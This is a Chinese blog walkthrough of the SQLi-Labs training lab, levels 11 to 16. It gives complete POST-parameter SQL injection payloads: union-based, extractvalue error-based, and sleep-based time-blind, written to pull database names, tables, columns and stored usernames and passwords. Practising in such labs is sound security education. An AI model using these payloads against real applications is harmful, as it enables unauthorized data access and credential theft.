zoukankan      html  css  js  c++  java
  • SQLi-Labs:Less11-Less16

    Less 11

    前几关传输数据的方式是get,可以在url里看到,而现在使用的是php中的post方法进行传输,所以我们要借助burp suite来进行操作

    我们首先输入账号admin,密码admin,得到界面如下:

     打开burp suite设置代理以及设置浏览器为手动代理,在浏览器这里开启post data复选框

     如下:

     我们在lesson 11界面重新输入账号,密码为admin,然后将burp suite里这些:uname=admin&passwd=admin&submit=Submit复制下来

     粘贴到浏览器post data框里,关掉burp suite的接收

     点击execute current URL以后,正常登录

    现在开始测试有没有注入点,用户名输入admin',密码不变,页面报错有语法错误说明存在注入漏洞,并且是字符型注入

    账号输入jyx' or 1=1#,登录成功(此处不能使用--+,因为--+主要使用在url中,#在这里是适用的),所以在这里我们找到了注入语句闭合方式

     猜列数:

    uname=admin' order by 2#&passwd=admin&submit=Submit

     uname=admin' order by 3#&passwd=admin&submit=Submit

     说明有2列

    我们就可以通过回显注入联合查询进行注入

    uname=admin' and 1=2 union select 1,2#&passwd=admin&submit=Submit

     查看当前数据库为security

    uname=admin' and 1=2 union select database(),2#&passwd=admin&submit=Submit

     查看库里有什么表

    uname=admin' and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

     查看表里有什么字段:

    uname=admin' and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema='security' and table_name='users'#&passwd=admin&submit=Submit

     查看字段内容:

    uname=admin' and 1=2 union select group_concat(username,password),2 from security.users#&passwd=admin&submit=Submit


    Less 12

     同第11关一样,我们要借助burp suite来进行操作

    首先输入账号admin,密码admin来登录,并将抓取到的用户名密码部分粘贴到Post data

     burpsuite里点击forward放行并关掉burpsuite接受包

    在账号的admin后面加单引号,只是提示登录失败

     加双引号,报错,根据报错我们可以知晓这一关的闭合方式为")

     注:一开始加单引号并不报错,所以我们尝试双引号,这就涉及到了一个测试闭合的方法,一般就是:'    ')     '))    "    ")     "))

    uname=admin") or 1=1#&passwd=admin&submit=Submit,登录成功

     剩下的如同第十一关就可以

    猜列数

    uname=admin") order by 2#&passwd=admin&submit=Submit

     uname=admin") order by 3#&passwd=admin&submit=Submit

     所以共有2列

    开始联合查询

    当前数据库名称

    uname=adm") union select database(),2  # &passwd=a&submit=Submit

     其他数据库名称

    uname=adm") union select (select schema_name from information_schema.schemata limit 1,1),2  # &passwd=a&submit=Submit

     当前数据库的表名

    uname=adm") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)  # &passwd=a&submit=Submit

     users表的列名

    uname=adm") union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)  # &passwd=a&submit=Submit

     内容

    uname=adm") union select 1,(select group_concat(concat_ws(0x7e,username,password)) from security.users)  # &passwd=a&submit=Submit


    Less 13 

    同样先用账号admin和密码admin登录

     账号admin后面加单引号

     通过报错信息我们知晓闭合方式是')

     猜列数

    uname=admin') order by 3# &passwd=admin&submit=Submit

    uname=admin') order by 2# &passwd=admin&submit=Submit

    依旧能根据报错猜出是两列,但是登录成功页面也并没有回显,所以我们考虑报错注入或者盲注

     布尔型盲注需要一个一个比对ASCII码,时间盲注也可以,但在这里我们首先使用报错注入里的extractvalue()

    首先当前数据库

    uname=admin') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))# &passwd=admin&submit=Submit

     表名

    uname=admin') and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))# &passwd=admin&submit=Submit

     列名

    uname=admin') and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))# &passwd=admin&submit=Submit

     内容

    uname=admin') and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))# &passwd=admin&submit=Submit


    Less 14

     账号admin后加单引号无法登录不报错,尝试双引号报错

     其他同第十三关一样,可以尝试时间注入和报错注入


    Less 15

    正常用账号密码登录以后,在账号的admin各种单引号双引号括号只是显示无法登录并不报错,所以这一关要考虑时间盲注了

    uname=admin' and if(length(database())=8,sleep(5),1)#&passwd=admin&submit=Submit

     uname=admin' and if(length(database())=9,sleep(5),1)#&passwd=admin&submit=Submit

     所以当前数据库共有8个字

    爆库

    当前数据库第一个字

    uname=admin' and if(ascii(left(database(),1))>114,sleep(5),1)#&passwd=admin&submit=Submit

     uname=admin' and if(ascii(left(database(),1))>115,sleep(5),1)#&passwd=admin&submit=Submit

     所以当前数据库第一个字ASCII码值为115,为's',逐个猜解,当前数据库名字为'security'

    爆表名(在这之前要像爆库名一样用length()判断一下表名长度)

    security数据库第一个表的第一个字

    uname=admin' and if(ascii(left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>100,sleep(5),1)#&passwd=admin&submit=Submit

     uname=admin' and if(ascii(left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>101,sleep(5),1)#&passwd=admin&submit=Submit

     所以security数据库第一个表的第一个字ASCII码值为101,为'e',逐个猜解,该表名为'emails'

    爆列名(在这之前要像爆库名一样用length()判断一下库名长度)

    uname=admin' and if(ascii(left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))>104,sleep(5),1)#&passwd=admin&submit=Submit

     uname=admin' and if(ascii(left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))>105,sleep(5),1)#&passwd=admin&submit=Submit

     所以当前数据库的emails表里字段名第一个字ASCII码值为105,为'i',逐个猜解,该字段名为'id'

    爆内容(在这之前要像爆库名一样用length()判断一下该内容长度)

    我们爆users表的username字段的第一个值的第一个字

    uname=admin' and if(ascii(left((select username from security.users limit 0,1),1))>67,sleep(5),1)#&passwd=admin&submit=Submit

     uname=admin' and if(ascii(left((select username from security.users limit 0,1),1))>68,sleep(5),1)#&passwd=admin&submit=Submit

     所以当前数据库的users表里username字段第一个值得第一个字ASCII码值为68,为'D',逐个猜解,该值为'Dumb'


    Less 16

    闭合方式为双引号,其他均与第15关一致利用时间盲注来注入~~~

    就酱~~~

  • 相关阅读:
    爬取豆瓣电影
    post get 请求 headers注释哪些
    matlab 子图像subplot
    post请求get请求
    UA伪装
    urllib.request encode()/decode()
    urllib.parse quote/unquate/urlencode
    python 爬取图片
    二叉树满二叉树完全二叉树
    Linux | 性能分析系列学习 (1)
  • 原文地址:https://www.cnblogs.com/ApricityJ/p/12810532.html
Copyright © 2011-2022 走看看